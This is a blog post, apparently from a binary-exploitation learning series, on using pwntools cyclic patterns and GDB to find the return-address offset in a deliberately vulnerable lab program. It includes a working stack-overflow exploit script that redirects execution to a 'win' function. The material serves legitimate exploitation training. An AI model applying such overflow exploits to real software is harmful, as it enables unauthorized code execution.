- Published on
Pwn Learning Path #6: Finding RIP Offsets With Cyclic Patterns
- Authors

- Name
- Muhammad Huzaifa
The earlier labs all had a 64-byte buffer followed by an 8-byte saved rbp, so the saved RIP offset was 72. This lab deliberately broke that pattern with a structure:
struct request {
char label[11];
char input[73];
unsigned int marker;
};
The vulnerable read starts at req.input, not at the beginning of a neat standalone array:
read(STDIN_FILENO, req.input, 220);
Compiler layout and alignment made mental arithmetic less trustworthy. The right answer was to measure the crash.
Generate a unique pattern
Pwntools creates a sequence where small subsequences have unique positions:
cyclic 200
I sent that pattern to the program under GDB:
gdb ./cyclic_offset
run
info registers
x/gx $rsp
Why I inspected RSP
The crash happened on the ret instruction inside vuln. At that moment, rip still identified the failing ret; it had not successfully loaded the invalid destination.
The address ret was about to consume was at [rsp], so x/gx $rsp was the useful observation. The stack contained:
0x7a61616179616161
I passed those eight bytes back to pwntools:
from pwn import *
crash_value = 0x7a61616179616161
print(cyclic_find(p64(crash_value)[:4]))
The result was:
93
That means byte 93 of the input is the first byte that replaces the saved return address.
Proving the result
I replaced the cyclic pattern with a controlled payload:
from pwn import *
elf = context.binary = ELF('./cyclic_offset', checksec=False)
io = process(elf.path)
payload = flat(
b'A' * 93,
elf.symbols['win'],
)
io.sendline(payload)
print(io.recvall().decode())
The program printed:
local{cyclic_offset_found}
The reusable debugging rule
My main lesson was not the number 93. It was this rule:
If the program crashes at
retandripstill points to that instruction, inspect the value at[rsp]. That is the candidate return addressretis trying to use.
Cyclic patterns turn “how much padding?” into an observation instead of a guess. That remains useful when source is missing, structures are involved, or compiler layout differs from expectations.